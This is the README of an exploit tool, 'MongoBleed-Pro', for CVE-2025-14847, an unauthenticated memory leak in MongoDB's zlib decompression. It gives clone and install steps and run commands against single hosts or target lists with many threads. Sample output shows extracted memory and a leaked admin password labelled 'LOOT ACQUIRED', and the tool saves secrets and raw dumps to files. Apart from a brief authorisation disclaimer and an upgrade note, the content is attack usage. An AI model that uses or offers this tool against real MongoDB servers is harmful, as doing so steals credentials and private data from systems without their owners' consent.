
a critical memory disclosure vulnerability in MongoDB's zlib compression handling. This tool allows security researchers to extract sensitive data from vulnerable MongoDB instances.
Advanced MongoDB Memory Leak Exploit Tool
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MongoBleed-Pro is an advanced exploitation tool for CVE-2025-14847, a critical memory disclosure vulnerability in MongoDB's zlib compression handling. This tool allows security researchers to extract sensitive data from vulnerable MongoDB instances.
This tool is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.
# Clone the repository
git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.git
cd CVE-2025-14847_Expolit
# Install dependencies
pip install -r requirements.txt
python3 mongobleed_pro.py
python3 mongobleed_pro.py --target 192.168.1.100
python3 mongobleed_pro.py --target 192.168.1.100:27018
python3 mongobleed_pro.py --file targets.txt
python3 mongobleed_pro.py --target 192.168.1.100 --threads 100 --min-offset 100 --max-offset 20000
╔══════════════════════════════════════════════════════════════╗
║ 💀 INITIATING MEMORY EXTRACTION SEQUENCE 💀 ║
╚══════════════════════════════════════════════════════════════╝
⚡ Target Acquired: 192.168.1.100:27017
✓ Port OPEN
☠️ VULNERABLE! Initiating attack...
◉ 0x0E31 │ nr_inactive_anon 134420\nnr_active_anon 110832...
☠️ LOOT ACQUIRED: 🔐 Password
→ admin_pass=SuperSecret123
╔══════════════════ EXTRACTION COMPLETE ══════════════════╗
║ 💾 Bytes Extracted: 125,847
║ 📦 Unique Fragments: 342
║ 🔑 Secrets Found: 5
╚══════════════════════════════════════════════════════════╝
| File | Description |
|---|---|
loot_<host>.txt | Extracted secrets in readable format |
dump_<host>.bin | Raw memory dump for manual analysis |
If you're a MongoDB administrator, update to patched versions:
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This project is licensed under the MIT License - see the LICENSE file for details.
If you found this tool useful, please give it a ⭐ on GitHub!
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| Property | Details |
|---|
| CVE ID | CVE-2025-14847 |
| Vulnerability Type | Memory Disclosure |
| Affected Versions | MongoDB < 8.0.10, < 7.3.6, < 7.0.19, < 6.0.23 |
| Root Cause | Buffer over-read in zlib decompression |
| Impact | Unauthenticated remote memory leak |
| Argument | Description | Default |
|---|
--target | Target IP/URL | Interactive prompt |
--file | File with target list | None |
--threads | Number of threads | 50 |
--min-offset | Minimum memory offset | 20 |
--max-offset | Maximum memory offset | 8192 |